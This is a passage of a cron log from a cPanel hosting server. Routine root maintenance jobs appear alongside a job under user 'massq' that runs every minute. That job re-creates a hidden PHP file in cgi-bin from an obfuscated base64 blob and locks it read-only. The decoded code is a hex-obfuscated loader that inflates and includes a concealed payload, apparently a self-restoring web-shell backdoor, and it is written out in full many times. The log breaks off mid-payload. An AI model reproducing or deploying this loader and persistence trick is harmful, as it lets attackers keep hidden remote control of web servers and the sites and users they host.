Aug 30 05:29:01 server CROND[10097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:29:01 server CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:29:01 server CROND[10099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:30:01 server CROND[10509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:30:01 server CROND[10511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:30:01 server CROND[10516]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:30:01 server CROND[10520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:30:01 server CROND[10526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:30:01 server CROND[10521]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:30:01 server CROND[10522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:30:01 server CROND[10524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:30:01 server CROND[10525]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Aug 30 05:31:01 server CROND[11382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:31:01 server CROND[11383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:31:01 server CROND[11384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:32:02 server CROND[11777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:32:02 server CROND[11778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:32:02 server CROND[11779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:33:01 server CROND[12170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:33:01 server CROND[12169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:33:01 server CROND[12171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:34:01 server CROND[12728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:34:01 server CROND[12729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:34:01 server CROND[12730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:35:01 server CROND[13134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:35:01 server CROND[13136]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:35:01 server CROND[13138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:35:01 server CROND[13144]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 05:35:01 server CROND[13143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:35:01 server CROND[13141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:35:01 server CROND[13139]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:35:01 server CROND[13140]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:35:01 server CROND[13142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:36:01 server CROND[14010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:36:01 server CROND[14011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:36:01 server CROND[14012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:37:01 server CROND[14400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:37:01 server CROND[14401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:37:01 server CROND[14402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:38:01 server CROND[14792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:38:01 server CROND[14793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:38:01 server CROND[14794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:39:01 server CROND[15275]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 05:39:01 server CROND[15277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:39:01 server CROND[15274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:39:01 server CROND[15276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:40:01 server CROND[15665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:40:01 server CROND[15667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:40:01 server CROND[15669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:40:01 server CROND[15670]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:40:01 server CROND[15671]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:40:01 server CROND[15674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:40:01 server CROND[15675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMj